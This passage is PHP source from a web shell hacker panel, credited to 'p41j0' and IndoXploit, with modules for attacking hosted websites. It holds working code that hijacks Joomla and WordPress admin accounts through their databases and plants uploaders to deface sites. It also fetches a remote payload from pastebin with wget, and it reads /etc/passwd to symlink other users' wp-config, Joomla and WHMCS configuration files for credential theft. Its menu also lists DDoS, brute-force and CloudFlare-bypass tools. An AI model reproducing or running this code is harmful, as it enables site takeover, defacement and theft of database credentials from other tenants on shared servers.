<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>'; }
if(isset($_GET['x']) && $_GET['x'] == 'iplookdom'){
?>
<form action="?y=<?php echo $pwd; ?>&x=iplookdom" method="post">
<?php
echo "<center><span style='font-size:30px; font-family:Fredericka the Great;'>Ip Lookup Reverse Domain By p41j0 hxh</span></center>";
echo "<center><img border='0' src='http://www.serveu.net/images/stories/geolocation.png' width=\"200\" height=\"200\" style='margin-top:10px' color:#009900 ></center> ";
echo "<center><br><form><input type='text' size='60' value='yahoo.com' name='ghost'><input type='hidden' name='action' value=' '> <input type='submit' value=' ✓ '></form></center>";
if(isset($_GET["ghost"]))
{
$site = $_GET["ghost"];
$ghost = "http://domains.yougetsignal.com/domains.php";
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tools'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tools" method="post">
<center>
<!-- menu start -->
<center><div id="menu"><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&x=porte">IIS Port Xxploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=#">JCE Uploader</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&x=iplookdom">Reverse Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tutor">Tutorial & Ebook</a>
</div></center>
<!-- menu end -->
</center>
<?php
}
////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jmnu'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jmnu" method="post">
<center>
<?php
error_reporting(0);
//Tu5b0l3d
//thx to: IndoXploit, Hacker-Newbie.org
if($_POST['submitt']){
$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];
$db = $_POST['db'];
$dbprefix = $_POST['dbprefix'];
$user_baru = $_POST['user_baru'];
$password_baru = $_POST['password_baru'];
$tanya = $_POST['tanya'];
$prefix = $dbprefix."users";
$pass = md5("$password_baru");
$upda = $db.".".$dbprefix;
mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
$tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$r=mysql_fetch_array($tampil);
$id = $r[id];
mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
function token($target){
$ch2 = curl_init ("$target");
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch2);
preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
$token = $token[1];
return $token;
}
if ($tanya == "y"){
$target = $_POST['target'];
$path = "/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D";
$site = $target.$path;
$token1 = token($site);
$post = array(
"username" => "$user_baru",
"passwd" => "$password_baru",
"lang" => "en-GB",
"option" => "com_login",
"task" => "login",
"return" => "aW5kZXgucGhw",
"$token1" => "1",
);
$ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$masuk = curl_exec ($ch);
$token2 = token($site);
$upload = base64_decode("Z3cgZ2FudGVuZw0KPD9waHANCiAgJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICRuZXdmaWxlPSJrLnBocCI7DQoJCWlmIChmaWxlX2V4aXN0cygiLi4vLi4vIi4kbmV3ZmlsZSkpIHVubGluaygiLi4uLi8vIi4kbmV3ZmlsZSk7DQogICAgCW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgIi4uLy4uLyRuZXdmaWxlIik7DQo/Pg0K");
$post2 = array(
"jform[source]" => "$upload",
"task" => "template.save",
"$token2" => "1",
"jform[extension_id]"=> "503",
"jform[filename]" => "/error.php",
);
$ch3 = curl_init ("$site");
curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch3, CURLOPT_POST, 1);
curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
$masuk2 = curl_exec ($ch3);
if(preg_match("#successfully#is", $masuk2)){
echo "uploader udh ketanem...<br>";
echo "lanjut mepes...<br>";
$file_pepes = "hacked.php";
$ch4 =curl_init("$target/templates/beez3/error.php");
curl_setopt($ch4, CURLOPT_POST, true);
curl_setopt($ch4, CURLOPT_POSTFIELDS,
array('file'=>"@$file_pepes"));
curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
$postResult = curl_exec($ch4);
curl_close($ch4);
$ch5 =curl_init("$target/k.php");
curl_setopt($ch5, CURLOPT_POST, true);
curl_setopt($ch5, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch5, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch5, CURLOPT_SSL_VERIFYHOST, 0);
$postResult2 = curl_exec($ch5);
if(preg_match('#hacked#is', $postResult2)){
echo "<font color='green'>berhasil mepes...</font><br>";
echo "$target/k.php<br>";
}
else{
echo "<font color='red'>gagal mepes...</font><br>";
echo "coba aja manual: <br>";
echo "$target/administrator<br>";
echo "username: $user_baru<br>";
echo "password: $password_baru<br>";
}
}
else{
echo "failed<br>";
echo "data udh bener. beda template mungkin :(<br>";
echo "coba aja manual: <br>";
echo "$target/administrator<br>";
echo "username: $user_baru<br>";
echo "password: $password_baru<br>";
}
curl_close($ch3);
curl_close($ch);
}
elseif($tanya == "n"){
echo "Sukses<br>";
echo "username: $user_baru<br>";
echo "password: $password_baru<br>";
}
}
else{
echo '<html>
<head>
<title>Edit user in joomla</title>
</head>
<body>
<center>
<center
<br><br><h2>-=Auto Edit User Joomla And Deface=-</h2>
<table>
<tr><td><form method="post" action="?action"></td></tr>
<tr><td><input class ="inputz" type="text" name="host" placeholder="localhost"></td></tr>
<tr><td><input class ="inputz" type="text" name="username" placeholder="User DB"></td></tr>
<tr><td><input class ="inputz" type="text" name="password" placeholder="Password DB"></td></tr>
<tr><td><input class ="inputz" type="text" name="db" placeholder="Database"></td></tr>
<tr><td><input class ="inputz" type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
<tr><td><input class ="inputz" type="text" name="user_baru" placeholder="Username Baru"></td></tr>
<tr><td><input class ="inputz" type="text" name="password_baru" placeholder="Password Baru"></td></tr>
<tr><td></td></tr>
<tr><td></td></tr>
<tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
<tr><td><input class ="inputz" type="text" name="target" placeholder="www.IndoXploit.org"></td></tr>
<tr><td><input class ="inputzbut" type="submit" value="Submit" name="submitt"></td></tr>
</table>
*nb: kalo milih y ... silahkan masukin nama sitenya, kalo ngk tau nama sitenya, pilih n
</center>
</body>';
}
?>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jmadd')){
if(empty($_POST['pwd'])){
echo "<center>
<div class='mybox'><h2 style='font-size:40px;' class='k2ll33d2'>Joomla login changer </h2>
<FORM method='POST'><br><br><br>DB_Prefix : <INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'> host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br> <br>New Username: <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password: <INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br> <INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";}
else {
$prefix = $_POST['prefix'];
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$admin = $_POST['admin'];
$pd = ($_POST["pwd"]);
$pwd = md5($pd);@mysql_connect($localhost,$username,$password) or die (mysql_error());@mysql_select_db($database) or die (mysql_error());
$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());
$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());
if($SQL) echo "<br><br><center><h1>Done... go and login</h1></center>";}}
////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpnu'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpnu" method="post">
<center>
<!-- menu start -->
<center><div id="menu"><br><br>
<?php
//Tu5b0l3d
//IndoXPloit, HNc
//http://indoxploit.blogspot.co.id/2015/10/auto-edit-user-and-deface-in-wordpress.html
if($_POST){
$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];
$db = $_POST['db'];
$dbprefix = $_POST['dbprefix'];
$user_baru = $_POST['user_baru'];
$password_baru = $_POST['password_baru'];
$prefix = $db.".".$dbprefix."users";
$sue = $db.".".$dbprefix."options";
$tanya = $_POST['tanya'];
$target = $_POST['target'];
$nick = $_POST['nick'];
$pass = md5("$password_baru");
mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
$tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$r=mysql_fetch_array($tampil);
$id = $r[ID];
$tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
$r2=mysql_fetch_array($tampil2);
$target = $r2[option_value];
mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
if($tanya=="y"){
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function anucurl($sites){
$ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
}
function lohgin($cek, $web, $userr, $pass){
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "Log In",
"redirect_to" => "$web/wp-admin/",
"testcookie" => "1",
);
$ch = curl_init ("$cek");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
}
$site= "$target/wp-login.php";
$site2= "$target/wp-admin/theme-install.php?upload";
$a = lohgin($site, $target, $user_baru, $password_baru);
$b = lohgin($site2, $target, $user_baru, $password_baru);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
echo "# token -> $anu2<br>";
system('wget http://pastebin.com/raw.php?i=mEQP6prW');
system('cp raw.php?i=mEQP6prW m.php');
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@m.php",
"install-theme-submit" => "Install Now",
);
$ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
$namafile = "wew.php";
$fp2 = fopen($namafile,"w");
fputs($fp2,$nick);
$y = date("Y");
$m = date("m");
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = file_get_contents($as);
if(preg_match("#hacked#si",$bs)){
echo "# <font color='green'>berhasil mepes...</font><br>";
echo "# $target/k.php<br>";
}
else{
echo "# <font color='red'>gagal mepes...</font><br>";
echo "# coba aja manual: <br>";
echo "# $target/wp-login.php<br>";
echo "# username: $user_baru<br>";
echo "# password: $password_baru<br>";
}
}
elseif($tanya=="n"){
echo "# Sukses<br>";
echo "# username: $user_baru<br>";
echo "# password: $password_baru<br>";
}
}else{
echo '<html>
<head>
<title>Wordpress Created New User</title>
</head>
<body>
<center>
<center><div id="button"></div>
<h2>-=Wordpress Created New User And Deface=-</h2><br>
<table>
<tr><td><form method="post" action="?action"></td></tr>
<tr><td>Host <input class ="inputz" type="text" name="host" placeholder="localhost"></td></tr>
<tr><td>User DB <input class ="inputz" type="text" name="username" placeholder="User DB"></td></tr>
<tr><td>Password DB <input class ="inputz" type="text" name="password" placeholder="Password DB"></td></tr>
<tr><td>Name Database <input class ="inputz" type="text" name="db" placeholder="Database"></td></tr>
<tr><td>DB Prefix <input class ="inputz" type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
<tr><td>New Username <input class ="inputz" type="text" name="user_baru" placeholder="Username Baru"></td></tr>
<tr><td>New Password <input class ="inputz" type="text" name="password_baru" placeholder="Password Baru"></td></tr>
<tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
<tr><td><input type="text" class ="inputz" name="nick" placeholder="hacked by p41j0 "></td></tr>
<tr><td><input class ="inputzbut" type="submit" value="Ganti"></td></tr>
</table>
*nb: kalo milih y ... silahkan Ganti Form Hacked By p41j0 jadi Hacked by Nick_ente
</center>
</body>';
}
?>
</div></center>
<!-- menu end -->
</center>
<?php
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symfil')) {@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);
$htaccess = "Options all
DirectoryIndex gaza.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$op =@fopen ('sym/.htaccess','w');
fwrite($op ,$htaccess);
echo '<br><br><center><h2>-=Symlink File=-</h2></center><center><br>
<div class="mybox"><h2 class="k2ll33d2">Symlink</h2><br>
<form method="post"> File Path:<br>
<input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/>
<br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br>
<input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></div></center>';
$target = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];
if ($symlink) {@symlink("$target","sym/$symfile");
echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><br><br><br><br></center>';}}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//sym sec
elseif(isset($_GET['x']) && ($_GET['x'] == 'symsr')){
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("k2",0777);
@chdir("k2");
@exe("ln -s / root");
$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Domains</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='/k2/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("k2",0777);
@chdir("k2");
exe("ln -s / root");
$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "<br><br><center><h2>-=Symlink Server=-</h2></center><br><br>
<table align=center border=1><tr>
<td align=center><font size=4>S. No.</font></td>
<td align=center><font size=4>Users</font></td>
<td align=center><font size=4>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=3>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows"){@mkdir("k2",0777);@chdir("k2");@exe("ln -s / root");$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "<br><br><center><h2>-=Symlink Server=-</h2></center><br><br><center>
<div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
<table align=center border=1><tr>
<td align=center><font size=4>ID</font></td>
<td align=center><font size=4>Users</font></td>
<td align=center><font size=4>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."
";}
echo '<br/>';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=3>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=4>Cannot create Symlink</font></center>";
}
}
}
/* Goblok
start here */
// domain viewer by S1r_V1ru5 rec0de by Sinkaroid ft Kerupuk
elseif(isset($_GET['x']) && ($_GET['x'] == 'domainv')){ @ini_set('output_buffering',0);
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dv" method="post">
<center><h2>Domain Viewer by S1r_V1ru5 <br>rec0de by p41j0 hxh <br>di colong by embuh cuk :v <br>notes: if blank(no domain) that mean not work use domain viewer, you can use symlink server<br>
<br>
<?php
function openBaseDir()
{
$openBaseDir = ini_get("open_basedir");
if (!$openBaseDir)
{
$openBaseDir = '<font color="green">OFF</font>';
}
else
{
$openBaseDir = '<font color="red">ON</font>';
}
return $openBaseDir;
}
echo '
<table width="95%" cellspacing="0" cellpadding="0" class="td1" >
<td height="100" align="left" class="td1">';
$pg = basename(__FILE__);
$safe_mode = @ini_get('safe_mode');
$dir = @getcwd();
////////////////////////////////////////////////////
// LET'S PLAY ~
##.htaccess
@mkdir('pee',0777);
@symlink("/","pee/root");
$htaccss = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
file_put_contents("pee/.htaccess",$htaccss);
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);
##Symlink to the ROOT :p
foreach($etcz as $etz){
$etcc = explode(":",$etz);
error_reporting(0);
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
